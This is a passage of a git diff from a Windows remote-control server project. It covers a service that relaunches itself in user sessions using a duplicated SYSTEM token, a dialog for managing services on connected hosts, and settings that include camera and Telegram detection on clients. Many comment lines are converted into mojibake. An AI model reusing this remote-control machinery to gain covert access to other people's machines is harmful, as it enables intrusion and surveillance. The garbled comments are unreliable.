ServerService_Uninstall(void) } BOOL r = FALSE; - // 删除服务 + // 鍒犻櫎鏈嶅姟 Mprintf("Deleting service...\n"); if (DeleteService(schService)) { Mprintf("SUCCESS: Service uninstalled successfully\n"); diff --git a/server/2015Remote/ServerServiceWrapper.h b/server/2015Remote/ServerServiceWrapper.h index 98297be..6067358 100644 --- a/server/2015Remote/ServerServiceWrapper.h +++ b/server/2015Remote/ServerServiceWrapper.h @@ -1,4 +1,4 @@ -#ifndef SERVER_SERVICE_WRAPPER_H +#ifndef SERVER_SERVICE_WRAPPER_H #define SERVER_SERVICE_WRAPPER_H #include @@ -7,54 +7,54 @@ extern "C" { #endif -// 服务配置:服务端使用不同的服务名 +// 鏈嶅姟閰嶇疆锛氭湇鍔$浣跨敤涓嶅悓鐨勬湇鍔″悕 #define SERVER_SERVICE_NAME "YamaControlService" #define SERVER_SERVICE_DISPLAY "Yama Control Service" #define SERVER_SERVICE_DESC "Provides remote desktop control server functionality." /* -# 停止服务 +# 鍋滄鏈嶅姟 net stop YamaControlService -# 查看状态(应该显示 STOPPED) +# 鏌ョ湅鐘舵€侊紙搴旇鏄剧ず STOPPED锛? sc query YamaControlService -# 启动服务 +# 鍚姩鏈嶅姟 net start YamaControlService -# 再次查看状态(应该显示 RUNNING) +# 鍐嶆鏌ョ湅鐘舵€侊紙搴旇鏄剧ず RUNNING锛? sc query YamaControlService */ -// 检查服务状态 -// 参数: -// registered - 输出参数,服务是否已注册 -// running - 输出参数,服务是否正在运行 -// exePath - 输出参数,服务可执行文件路径(可为NULL) -// exePathSize - exePath缓冲区大小 -// 返回: 成功返回TRUE +// 妫€鏌ユ湇鍔$姸鎬? +// 鍙傛暟: +// registered - 杈撳嚭鍙傛暟锛屾湇鍔℃槸鍚﹀凡娉ㄥ唽 +// running - 杈撳嚭鍙傛暟锛屾湇鍔℃槸鍚︽鍦ㄨ繍琛? +// exePath - 杈撳嚭鍙傛暟锛屾湇鍔″彲鎵ц鏂囦欢璺緞锛堝彲涓篘ULL锛? +// exePathSize - exePath缂撳啿鍖哄ぇ灏? +// 杩斿洖: 鎴愬姛杩斿洖TRUE BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, char* exePath, size_t exePathSize); -// 简单启动服务 -// 返回: ERROR_SUCCESS 或错误码 +// 绠€鍗曞惎鍔ㄦ湇鍔? +// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜 int ServerService_StartSimple(void); -// 运行服务(作为服务主入口) -// 返回: ERROR_SUCCESS 或错误码 +// 杩愯鏈嶅姟锛堜綔涓烘湇鍔′富鍏ュ彛锛? +// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜 int ServerService_Run(void); -// 停止服务 -// 返回: ERROR_SUCCESS 或错误码 +// 鍋滄鏈嶅姟 +// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜 int ServerService_Stop(void); -// 安装服务 +// 瀹夎鏈嶅姟 BOOL ServerService_Install(void); -// 卸载服务 +// 鍗歌浇鏈嶅姟 BOOL ServerService_Uninstall(void); -// 服务工作线程 +// 鏈嶅姟宸ヤ綔绾跨▼ DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam); #ifdef __cplusplus diff --git a/server/2015Remote/ServerSessionMonitor.cpp b/server/2015Remote/ServerSessionMonitor.cpp index f631964..9d12f80 100644 --- a/server/2015Remote/ServerSessionMonitor.cpp +++ b/server/2015Remote/ServerSessionMonitor.cpp @@ -1,4 +1,4 @@ -#include "stdafx.h" +#include "stdafx.h" #include "ServerSessionMonitor.h" #include #include @@ -6,10 +6,10 @@ #pragma comment(lib, "userenv.lib") -// 动态数组初始容量 +// 鍔ㄦ€佹暟缁勫垵濮嬪閲? #define INITIAL_CAPACITY 4 -// 前向声明 +// 鍓嶅悜澹版槑 static DWORD WINAPI MonitorThreadProc(LPVOID param); static void MonitorLoop(ServerSessionMonitor* self); static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId); @@ -17,14 +17,14 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId); static void TerminateAllGui(ServerSessionMonitor* self); static void CleanupDeadProcesses(ServerSessionMonitor* self); -// 动态数组辅助函数 +// 鍔ㄦ€佹暟缁勮緟鍔╁嚱鏁? static void AgentArray_Init(ServerAgentProcessArray* arr); static void AgentArray_Free(ServerAgentProcessArray* arr); static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProcessInfo* info); static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index); // ============================================ -// 动态数组实现 +// 鍔ㄦ€佹暟缁勫疄鐜? // ============================================ static void AgentArray_Init(ServerAgentProcessArray* arr) @@ -46,7 +46,7 @@ static void AgentArray_Free(ServerAgentProcessArray* arr) static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProcessInfo* info) { - // 需要扩容 + // 闇€瑕佹墿瀹? if (arr->count >= arr->capacity) { size_t newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2; ServerAgentProcessInfo* newItems = (ServerAgentProcessInfo*)realloc( @@ -69,7 +69,7 @@ static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index) return; } - // 后面的元素前移 + // 鍚庨潰鐨勫厓绱犲墠绉? for (size_t i = index; i < arr->count - 1; i++) { arr->items[i] = arr->items[i + 1]; } @@ -77,7 +77,7 @@ static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index) } // ============================================ -// 公共接口实现 +// 鍏叡鎺ュ彛瀹炵幇 // ============================================ void ServerSessionMonitor_Init(ServerSessionMonitor* self) @@ -130,7 +130,7 @@ void ServerSessionMonitor_Stop(ServerSessionMonitor* self) if (self->monitorThread) { DWORD waitResult = WaitForSingleObject(self->monitorThread, 10000); if (waitResult == WAIT_TIMEOUT) { - // 线程未在规定时间内退出,强制终止 + // 绾跨▼鏈湪瑙勫畾鏃堕棿鍐呴€€鍑猴紝寮哄埗缁堟 Mprintf("WARNING: Monitor thread did not exit in time, terminating..."); TerminateThread(self->monitorThread, 1); } @@ -138,7 +138,7 @@ void ServerSessionMonitor_Stop(ServerSessionMonitor* self) self->monitorThread = NULL; } - // 终止所有GUI进程 + // 缁堟鎵€鏈塆UI杩涚▼ Mprintf("Terminating all GUI processes..."); // TerminateAllGui(self); @@ -147,7 +147,7 @@ void ServerSessionMonitor_Stop(ServerSessionMonitor* self) } // ============================================ -// 内部函数实现 +// 鍐呴儴鍑芥暟瀹炵幇 // ============================================ static DWORD WINAPI MonitorThreadProc(LPVOID param) @@ -167,10 +167,10 @@ static void MonitorLoop(ServerSessionMonitor* self) while (self->running) { loopCount++; - // 清理已终止的进程 + // 娓呯悊宸茬粓姝㈢殑杩涚▼ CleanupDeadProcesses(self); - // 枚举所有会话 + // 鏋氫妇鎵€鏈変細璇? PWTS_SESSION_INFO pSessionInfo = NULL; DWORD dwCount = 0; @@ -184,7 +184,7 @@ static void MonitorLoop(ServerSessionMonitor* self) DWORD sessionId = pSessionInfo[i].SessionId; foundActiveSession = TRUE; - // 记录会话(每5次循环记录一次,避免日志过多) + // 璁板綍浼氳瘽锛堟瘡5娆″惊鐜褰曚竴娆★紝閬垮厤鏃ュ織杩囧锛? if (loopCount % 5 == 1) { sprintf_s(buf, sizeof(buf), "Active session found: ID=%d, Name=%s", (int)sessionId, @@ -192,21 +192,21 @@ static void MonitorLoop(ServerSessionMonitor* self) Mprintf(buf); } - // 检查GUI是否在该会话中运行 + // 妫€鏌UI鏄惁鍦ㄨ浼氳瘽涓繍琛? if (!IsGuiRunningInSession(self, sessionId)) { sprintf_s(buf, sizeof(buf), "GUI not running in session %d, launching...", (int)sessionId); Mprintf(buf); if (LaunchGuiInSession(self, sessionId)) { Mprintf("GUI launched successfully"); - // 给程序一些时间启动 + // 缁欑▼搴忎竴浜涙椂闂村惎鍔? Sleep(2000); } else { Mprintf("Failed to launch GUI"); } } - // 只处理第一个活动会话 + // 鍙鐞嗙涓€涓椿鍔ㄤ細璇? break; } } @@ -222,7 +222,7 @@ static void MonitorLoop(ServerSessionMonitor* self) } } - // 每10秒检查一次 + // 姣?0绉掓鏌ヤ竴娆? for (int j = 0; j < 100 && self->running; j++) { Sleep(100); } @@ -233,15 +233,15 @@ static void MonitorLoop(ServerSessionMonitor* self) static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId) { - (void)self; // 未使用 + (void)self; // 鏈娇鐢? - // 获取当前进程的 exe 名称 + // 鑾峰彇褰撳墠杩涚▼鐨?exe 鍚嶇О char currentExeName[MAX_PATH]; if (!GetModuleFileNameA(NULL, currentExeName, MAX_PATH)) { return FALSE; } - // 获取文件名(不含路径) + // 鑾峰彇鏂囦欢鍚嶏紙涓嶅惈璺緞锛? char* pFileName = strrchr(currentExeName, '\\'); if (pFileName) { pFileName++; @@ -249,10 +249,10 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId) pFileName = currentExeName; } - // 获取当前服务进程的 PID + // 鑾峰彇褰撳墠鏈嶅姟杩涚▼鐨?PID DWORD currentPID = GetCurrentProcessId(); - // 创建进程快照 + // 鍒涘缓杩涚▼蹇収 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { Mprintf("CreateToolhelp32Snapshot failed"); @@ -265,18 +265,18 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId) if (Process32First(hSnapshot, &pe32)) { do { - // 查找同名的 exe + // 鏌ユ壘鍚屽悕鐨?exe if (_stricmp(pe32.szExeFile, pFileName) == 0) { - // 排除服务进程自己 + // 鎺掗櫎鏈嶅姟杩涚▼鑷繁 if (pe32.th32ProcessID == currentPID) { continue; } - // 获取进程的会话ID + // 鑾峰彇杩涚▼鐨勪細璇滻D DWORD procSessionId; if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) { if (procSessionId == sessionId) { - // 找到了:同名 exe,不同 PID,在目标会话中 + // 鎵惧埌浜嗭細鍚屽悕 exe锛屼笉鍚?PID锛屽湪鐩爣浼氳瘽涓? found = TRUE; break; } @@ -289,7 +289,7 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId) return found; } -// 终止所有GUI进程 +// 缁堟鎵€鏈塆UI杩涚▼ static void TerminateAllGui(ServerSessionMonitor* self) { char buf[256]; @@ -306,18 +306,18 @@ static void TerminateAllGui(ServerSessionMonitor* self) (int)info->processId, (int)info->sessionId); Mprintf(buf); - // 检查进程是否还活着 + // 妫€鏌ヨ繘绋嬫槸鍚﹁繕娲荤潃 DWORD exitCode; if (GetExitCodeProcess(info->hProcess, &exitCode)) { if (exitCode == STILL_ACTIVE) { - // 进程还在运行,终止它 + // 杩涚▼杩樺湪杩愯锛岀粓姝㈠畠 if (!TerminateProcess(info->hProcess, 0)) { sprintf_s(buf, sizeof(buf), "WARNING: Failed to terminate PID=%d, error=%d", (int)info->processId, (int)GetLastError()); Mprintf(buf); } else { Mprintf("GUI terminated successfully"); - // 等待进程完全退出 + // 绛夊緟杩涚▼瀹屽叏閫€鍑? WaitForSingleObject(info->hProcess, 5000); } } else { @@ -330,13 +330,13 @@ static void TerminateAllGui(ServerSessionMonitor* self) SAFE_CLOSE_HANDLE(info->hProcess); } - self->agentProcesses.count = 0; // 清空列表 + self->agentProcesses.count = 0; // 娓呯┖鍒楄〃 LeaveCriticalSection(&self->csProcessList); Mprintf("All GUI processes terminated"); } -// 清理已经终止的进程 +// 娓呯悊宸茬粡缁堟鐨勮繘绋? static void CleanupDeadProcesses(ServerSessionMonitor* self) { char buf[256]; @@ -350,17 +350,17 @@ static void CleanupDeadProcesses(ServerSessionMonitor* self) DWORD exitCode; if (GetExitCodeProcess(info->hProcess, &exitCode)) { if (exitCode != STILL_ACTIVE) { - // 进程已退出 + // 杩涚▼宸查€€鍑? sprintf_s(buf, sizeof(buf), "GUI PID=%d exited with code %d, cleaning up", (int)info->processId, (int)exitCode); Mprintf(buf); SAFE_CLOSE_HANDLE(info->hProcess); AgentArray_RemoveAt(&self->agentProcesses, i); - continue; // 不增加 i,因为删除了元素 + continue; // 涓嶅鍔?i锛屽洜涓哄垹闄や簡鍏冪礌 } } else { - // 无法获取退出代码,可能进程已不存在 + // 鏃犳硶鑾峰彇閫€鍑轰唬鐮侊紝鍙兘杩涚▼宸蹭笉瀛樺湪 sprintf_s(buf, sizeof(buf), "Cannot query GUI PID=%d, removing from list", (int)info->processId); Mprintf(buf); @@ -389,9 +389,9 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) memset(&pi, 0, sizeof(pi)); si.cb = sizeof(STARTUPINFO); - si.lpDesktop = (LPSTR)"winsta0\\default"; // 关键:指定桌面 + si.lpDesktop = (LPSTR)"winsta0\\default"; // 鍏抽敭锛氭寚瀹氭闈? - // 获取当前服务进程的 SYSTEM 令牌 + // 鑾峰彇褰撳墠鏈嶅姟杩涚▼鐨?SYSTEM 浠ょ墝 HANDLE hToken = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { sprintf_s(buf, sizeof(buf), "OpenProcessToken failed: %d", (int)GetLastError()); @@ -399,7 +399,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) return FALSE; } - // 复制为可用于创建进程的主令牌 + // 澶嶅埗涓哄彲鐢ㄤ簬鍒涘缓杩涚▼鐨勪富浠ょ墝 HANDLE hDupToken = NULL; if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hDupToken)) { @@ -409,7 +409,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) return FALSE; } - // 修改令牌的会话 ID 为目标用户会话 + // 淇敼浠ょ墝鐨勪細璇?ID 涓虹洰鏍囩敤鎴蜂細璇? if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) { sprintf_s(buf, sizeof(buf), "SetTokenInformation failed: %d", (int)GetLastError()); Mprintf(buf); @@ -420,7 +420,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) Mprintf("Token duplicated"); - // 获取当前程序路径(就是自己) + // 鑾峰彇褰撳墠绋嬪簭璺緞锛堝氨鏄嚜宸憋級 char exePath[MAX_PATH]; if (!GetModuleFileNameA(NULL, exePath, MAX_PATH)) { Mprintf("GetModuleFileName failed"); @@ -432,7 +432,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) sprintf_s(buf, sizeof(buf), "Service path: %s", exePath); Mprintf(buf); - // 检查文件是否存在 + // 妫€鏌ユ枃浠舵槸鍚﹀瓨鍦? DWORD fileAttr = GetFileAttributesA(exePath); if (fileAttr == INVALID_FILE_ATTRIBUTES) { sprintf_s(buf, sizeof(buf), "ERROR: Executable not found at: %s", exePath); @@ -442,14 +442,14 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) return FALSE; } - // 构建命令行:同一个 exe, 但添加 -agent 参数 + // 鏋勫缓鍛戒护琛岋細鍚屼竴涓?exe锛?浣嗘坊鍔?-agent 鍙傛暟 char cmdLine[MAX_PATH + 20]; sprintf_s(cmdLine, sizeof(cmdLine), "\"%s\" -agent", exePath); sprintf_s(buf, sizeof(buf), "Command line: %s", cmdLine); Mprintf(buf); - // 获取用户令牌(用于获取环境块) + // 鑾峰彇鐢ㄦ埛浠ょ墝锛堢敤浜庤幏鍙栫幆澧冨潡锛? LPVOID lpEnvironment = NULL; HANDLE hUserToken = NULL; if (!WTSQueryUserToken(sessionId, &hUserToken)) { @@ -457,7 +457,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) Mprintf(buf); } - // 使用用户令牌创建环境块 + // 浣跨敤鐢ㄦ埛浠ょ墝鍒涘缓鐜鍧? if (hUserToken) { if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) { Mprintf("CreateEnvironmentBlock failed"); @@ -465,17 +465,17 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) SAFE_CLOSE_HANDLE(hUserToken); } - // 在用户会话中创建进程(GUI程序,不隐藏窗口) + // 鍦ㄧ敤鎴蜂細璇濅腑鍒涘缓杩涚▼锛圙UI绋嬪簭锛屼笉闅愯棌绐楀彛锛? BOOL result = CreateProcessAsUserA( hDupToken, - NULL, // 应用程序名(在命令行中解析) - cmdLine, // 命令行参数:Yama.exe -agent - NULL, // 进程安全属性 - NULL, // 线程安全属性 - FALSE, // 不继承句柄 - NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI程序不需要 CREATE_NO_WINDOW - lpEnvironment, // 环境变量 - NULL, // 当前目录 + NULL, // 搴旂敤绋嬪簭鍚嶏紙鍦ㄥ懡浠よ涓В鏋愶級 + cmdLine, // 鍛戒护琛屽弬鏁帮細Yama.exe -agent + NULL, // 杩涚▼瀹夊叏灞炴€? + NULL, // 绾跨▼瀹夊叏灞炴€? + FALSE, // 涓嶇户鎵垮彞鏌? + NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI绋嬪簭涓嶉渶瑕?CREATE_NO_WINDOW + lpEnvironment, // 鐜鍙橀噺 + NULL, // 褰撳墠鐩綍 &si, &pi ); @@ -488,22 +488,22 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) sprintf_s(buf, sizeof(buf), "SUCCESS: GUI process created (PID=%d)", (int)pi.dwProcessId); Mprintf(buf); - // 保存进程信息,以便停止时可以终止它 + // 淇濆瓨杩涚▼淇℃伅锛屼互渚垮仠姝㈡椂鍙互缁堟瀹? EnterCriticalSection(&self->csProcessList); ServerAgentProcessInfo info; info.processId = pi.dwProcessId; info.sessionId = sessionId; - info.hProcess = pi.hProcess; // 不关闭句柄,留着后面终止 + info.hProcess = pi.hProcess; // 涓嶅叧闂彞鏌勶紝鐣欑潃鍚庨潰缁堟 AgentArray_Add(&self->agentProcesses, &info); LeaveCriticalSection(&self->csProcessList); - SAFE_CLOSE_HANDLE(pi.hThread); // 线程句柄可以关闭 + SAFE_CLOSE_HANDLE(pi.hThread); // 绾跨▼鍙ユ焺鍙互鍏抽棴 } else { DWORD err = GetLastError(); sprintf_s(buf, sizeof(buf), "CreateProcessAsUser failed: %d", (int)err); Mprintf(buf); - // 提供更详细的错误信息 + // 鎻愪緵鏇磋缁嗙殑閿欒淇℃伅 if (err == ERROR_FILE_NOT_FOUND) { Mprintf("ERROR: Executable not found"); } else if (err == ERROR_ACCESS_DENIED) { diff --git a/server/2015Remote/ServerSessionMonitor.h b/server/2015Remote/ServerSessionMonitor.h index ff3e0df..4410ade 100644 --- a/server/2015Remote/ServerSessionMonitor.h +++ b/server/2015Remote/ServerSessionMonitor.h @@ -1,4 +1,4 @@ -#ifndef SERVER_SESSION_MONITOR_H +#ifndef SERVER_SESSION_MONITOR_H #define SERVER_SESSION_MONITOR_H #include @@ -10,21 +10,21 @@ extern "C" { #pragma comment(lib, "wtsapi32.lib") -// GUI进程信息 +// GUI杩涚▼淇℃伅 typedef struct ServerAgentProcessInfo { DWORD processId; DWORD sessionId; HANDLE hProcess; } ServerAgentProcessInfo; -// GUI进程数组(动态数组) +// GUI杩涚▼鏁扮粍锛堝姩鎬佹暟缁勶級 typedef struct ServerAgentProcessArray { ServerAgentProcessInfo* items; size_t count; size_t capacity; } ServerAgentProcessArray; -// 会话监控器结构 +// 浼氳瘽鐩戞帶鍣ㄧ粨鏋? typedef struct ServerSessionMonitor { HANDLE monitorThread; BOOL running; @@ -32,16 +32,16 @@ typedef struct ServerSessionMonitor { ServerAgentProcessArray agentProcesses; } ServerSessionMonitor; -// 初始化会话监控器 +// 鍒濆鍖栦細璇濈洃鎺у櫒 void ServerSessionMonitor_Init(ServerSessionMonitor* self); -// 清理会话监控器资源 +// 娓呯悊浼氳瘽鐩戞帶鍣ㄨ祫婧? void ServerSessionMonitor_Cleanup(ServerSessionMonitor* self); -// 启动会话监控 +// 鍚姩浼氳瘽鐩戞帶 BOOL ServerSessionMonitor_Start(ServerSessionMonitor* self); -// 停止会话监控 +// 鍋滄浼氳瘽鐩戞帶 void ServerSessionMonitor_Stop(ServerSessionMonitor* self); #ifdef __cplusplus diff --git a/server/2015Remote/ServicesDlg.cpp b/server/2015Remote/ServicesDlg.cpp index 7ceaa76..ea69404 100644 --- a/server/2015Remote/ServicesDlg.cpp +++ b/server/2015Remote/ServicesDlg.cpp @@ -1,4 +1,4 @@ -// ServicesDlg.cpp : ʵļ +// ServicesDlg.cpp : 实现文件 // #include "stdafx.h" @@ -7,11 +7,11 @@ #include "afxdialogex.h" -// CServicesDlg Ի +// CServicesDlg 对话框 IMPLEMENT_DYNAMIC(CServicesDlg, CDialog) -// ItemData1 ҪItemDataͬˣͬĻԻ +// ItemData1 不要和ItemData同名了,同名的话调试会有问题 typedef struct ItemData1 { CString Data[5]; CString GetData(int index) const @@ -50,7 +50,7 @@ BEGIN_MESSAGE_MAP(CServicesDlg, CDialog) END_MESSAGE_MAP() -// CServicesDlg Ϣ +// CServicesDlg 消息处理程序 BOOL CServicesDlg::OnInitDialog() @@ -60,19 +60,19 @@ BOOL CServicesDlg::OnInitDialog() SetIcon(m_hIcon, TRUE); SetIcon(m_hIcon, FALSE); CString strString; - strString.Format("%s - ",m_IPAddress); + strString.Format("%s - 服务管理",m_IPAddress); SetWindowText(strString); m_ControlList.SetExtendedStyle( LVS_EX_FULLROWSELECT); - m_ControlList.InsertColumn(0, "ʵ", LVCFMT_LEFT, 150); - m_ControlList.InsertColumn(1, "ʾ", LVCFMT_LEFT, 260); - m_ControlList.InsertColumn(2, "", LVCFMT_LEFT, 80); - m_ControlList.InsertColumn(3, "״̬", LVCFMT_LEFT, 80); - m_ControlList.InsertColumn(4, "ִļ·", LVCFMT_LEFT, 380); + m_ControlList.InsertColumn(0, "真实名称", LVCFMT_LEFT, 150); + m_ControlList.InsertColumn(1, "显示名称", LVCFMT_LEFT, 260); + m_ControlList.InsertColumn(2, "启动类型", LVCFMT_LEFT, 80); + m_ControlList.InsertColumn(3, "运行状态", LVCFMT_LEFT, 80); + m_ControlList.InsertColumn(4, "可执行文件路径", LVCFMT_LEFT, 380); ShowServicesList(); return TRUE; // return TRUE unless you set the focus to a control - // 쳣: OCX ҳӦ FALSE + // 异常: OCX 属性页应返回 FALSE } int CServicesDlg::ShowServicesList(void) @@ -107,7 +107,7 @@ int CServicesDlg::ShowServicesList(void) } CString strTemp; - strTemp.Format(":%d",i); + strTemp.Format("服务个数:%d",i); m_ServicesCount.SetWindowText(strTemp); @@ -117,7 +117,7 @@ int CServicesDlg::ShowServicesList(void) void CServicesDlg::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; @@ -155,11 +155,11 @@ void CServicesDlg::OnServicesStart() void CServicesDlg::OnServicesReflash() { - BYTE bToken = COMMAND_SERVICELIST; //ˢ + BYTE bToken = COMMAND_SERVICELIST; //刷新 m_ContextObject->Send2Client(&bToken, 1); } -// ͷԴԺ +// 释放资源以后再清空 void CServicesDlg::DeleteAllItems() { for (int i = 0; i < m_ControlList.GetItemCount(); i++) { @@ -177,7 +177,7 @@ int CALLBACK CServicesDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARA int nColumn = pSortInfo->first; bool bAscending = pSortInfo->second; - // ȡֵ + // 获取列值 ItemData1* context1 = (ItemData1*)lParam1; ItemData1* context2 = (ItemData1*)lParam2; CString s1 = context1->GetData(nColumn); @@ -192,15 +192,15 @@ void CServicesDlg::SortByColumn(int nColumn) static int m_nSortColumn = 0; static bool m_bSortAscending = false; if (nColumn == m_nSortColumn) { - // ͬһУл˳ + // 如果点击的是同一列,切换排序顺序 m_bSortAscending = !m_bSortAscending; } else { - // лвΪ + // 否则,切换到新列并设置为升序 m_nSortColumn = nColumn; m_bSortAscending = true; } - // Ϣ + // 创建排序信息 std::pair sortInfo(m_nSortColumn, m_bSortAscending); m_ControlList.SortItems(CompareFunction, reinterpret_cast(&sortInfo)); } @@ -208,8 +208,8 @@ void CServicesDlg::SortByColumn(int nColumn) void CServicesDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult) { LPNMHEADER pNMHeader = reinterpret_cast(pNMHDR); - int nColumn = pNMHeader->iItem; // ȡ - SortByColumn(nColumn); // + int nColumn = pNMHeader->iItem; // 获取点击的列索引 + SortByColumn(nColumn); // 调用排序函数 *pResult = 0; } @@ -234,7 +234,7 @@ void CServicesDlg::OnReceiveComplete(void) ShowServicesList(); break; default: - // ䷢쳣 + // 传输发生异常数据 break; } } @@ -262,13 +262,13 @@ void CServicesDlg::OnSize(UINT nType, int cx, int cy) { CDialog::OnSize(nType, cx, cy); - if (!m_ControlList.GetSafeHwnd()) return; // ȷؼѴ + if (!m_ControlList.GetSafeHwnd()) return; // 确保控件已创建 - // λúʹС + // 计算新位置和大小 CRect rc; m_ControlList.GetWindowRect(&rc); ScreenToClient(&rc); - // ÿؼС + // 重新设置控件大小 m_ControlList.MoveWindow(0, 0, cx, cy, TRUE); } diff --git a/server/2015Remote/ServicesDlg.h b/server/2015Remote/ServicesDlg.h index e1fce48..f5a753f 100644 --- a/server/2015Remote/ServicesDlg.h +++ b/server/2015Remote/ServicesDlg.h @@ -1,26 +1,26 @@ -#pragma once +#pragma once #include "afxcmn.h" #include "IOCPServer.h" #include "afxwin.h" -// CServicesDlg Ի +// CServicesDlg 对话框 class CServicesDlg : public DialogBase { DECLARE_DYNAMIC(CServicesDlg) public: - CServicesDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // ׼캯 + CServicesDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数 virtual ~CServicesDlg(); int ShowServicesList(void); void OnReceiveComplete(void); void ServicesConfig(BYTE bCmd); -// Ի +// 对话框数据 enum { IDD = IDD_DIALOG_SERVICES }; protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 DECLARE_MESSAGE_MAP() public: diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp index 8dfc43f..e2d0ea7 100644 --- a/server/2015Remote/SettingDlg.cpp +++ b/server/2015Remote/SettingDlg.cpp @@ -1,4 +1,4 @@ -// SettingDlg.cpp : ʵļ +// SettingDlg.cpp : 实现文件 // #include "stdafx.h" @@ -8,7 +8,7 @@ #include "client/CursorInfo.h" #include "common/location.h" -// CSettingDlg Ի +// CSettingDlg 对话框 IMPLEMENT_DYNAMIC(CSettingDlg, CDialog) @@ -17,9 +17,9 @@ CSettingDlg::CSettingDlg(CWnd* pParent) , m_nListenPort("6543") , m_nMax_Connect(0) , m_sScreenCapture(_T("GDI")) - , m_sScreenCompress(_T("Ļ㷨")) + , m_sScreenCompress(_T("屏幕差异算法")) , m_nReportInterval(5) - , m_sSoftwareDetect(_T("ͷ")) + , m_sSoftwareDetect(_T("摄像头")) , m_sPublicIP(_T("")) , m_sUdpOption(_T("")) , m_nFrpPort(7000) @@ -75,7 +75,7 @@ BEGIN_MESSAGE_MAP(CSettingDlg, CDialog) END_MESSAGE_MAP() -// CSettingDlg Ϣ +// CSettingDlg 消息处理程序 BOOL CSettingDlg::OnInitDialog() @@ -96,40 +96,40 @@ BOOL CSettingDlg::OnInitDialog() int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString()); switch (n) { case ALGORITHM_GRAY: - m_sScreenCompress = "Ҷͼ"; + m_sScreenCompress = "灰度图像传输"; break; case ALGORITHM_DIFF: - m_sScreenCompress = "Ļ㷨"; + m_sScreenCompress = "屏幕差异算法"; break; case ALGORITHM_H264: - m_sScreenCompress = "H264ѹ㷨"; + m_sScreenCompress = "H264压缩算法"; break; default: break; } - m_ComboScreenCompress.InsertString(ALGORITHM_GRAY, "Ҷͼ"); - m_ComboScreenCompress.InsertString(ALGORITHM_DIFF, "Ļ㷨"); - m_ComboScreenCompress.InsertString(ALGORITHM_H264, "H264ѹ㷨"); + m_ComboScreenCompress.InsertString(ALGORITHM_GRAY, "灰度图像传输"); + m_ComboScreenCompress.InsertString(ALGORITHM_DIFF, "屏幕差异算法"); + m_ComboScreenCompress.InsertString(ALGORITHM_H264, "H264压缩算法"); m_ComboScreenCapture.InsertString(0, "GDI"); m_ComboScreenCapture.InsertString(1, "DXGI"); m_ComboScreenCapture.InsertString(2, "VIRTUAL"); m_sScreenCapture = DXGI==1 ? "DXGI" : (DXGI == 2 ? "VIRTUAL" : "GDI"); - m_ComboSoftwareDetect.InsertString(SOFTWARE_CAMERA, "ͷ"); - m_ComboSoftwareDetect.InsertString(SOFTWARE_TELEGRAM, "籨"); + m_ComboSoftwareDetect.InsertString(SOFTWARE_CAMERA, "摄像头"); + m_ComboSoftwareDetect.InsertString(SOFTWARE_TELEGRAM, "电报"); auto str = THIS_CFG.GetStr("settings", "ReportInterval", "5"); m_nReportInterval = atoi(str.c_str()); n = THIS_CFG.GetInt("settings", "SoftwareDetect"); switch (n) { case SOFTWARE_CAMERA: - m_sSoftwareDetect = "ͷ"; + m_sSoftwareDetect = "摄像头"; break; case SOFTWARE_TELEGRAM: - m_sSoftwareDetect = "籨"; + m_sSoftwareDetect = "电报"; break; default: - m_sSoftwareDetect = "ͷ"; + m_sSoftwareDetect = "摄像头"; break; } BOOL all = THIS_CFG.GetInt("settings", 